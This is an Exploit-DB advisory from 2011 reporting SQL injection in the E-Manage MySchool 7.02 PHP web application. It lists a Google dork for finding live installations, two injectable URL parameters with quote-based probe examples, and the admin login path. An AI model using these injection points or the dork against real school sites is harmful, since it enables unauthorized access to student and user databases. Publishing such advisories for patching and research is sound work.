E-Manage MySchool 7.02 SQL Injection Vulnerability

2011-05-21T00:00:00
ID EDB-ID:17311
Type exploitdb
Reporter az7rb
Modified 2011-05-21T00:00:00

Description

E-Manage MySchool 7.02 SQL Injection Vulnerability. Webapps exploit for php platform

                                        
                                            Exploit Title: SQL Injection MySchool Version 7.02
################################################## 
# Google Dork: "MySchool Version 7.02"
# Date: 05-21-2011
# Software Link: http://em.com.eg/
# Version: Version 7.02
# Author: az7rb
# Tested on : winxp sp3 Ar end bt5 
# Homepage : www.p0c.cc 
# Greetz : p0c Team & Dr.NaNo & All My Msn Messenger Friends
################################################## 
################################################## 
#################### wWw.p0c.cc #####################
################################################## 
# SQL :
# 
http://localhost/myschool/index.php?do=show_details&ID=[sql] 
# Example :
# 
http://localhost/myschool/index.php?do=show_details&ID=29' 
# SQL 2 :
#  
http://localhost/myschool/show_page.php?Page_ID=[sql] 
# Example :
#  
http://localhost/myschool/show_page.php?Page_ID=&table=users' 
# Link Control Panel :
http://localhost/myschool/login.php
##################################################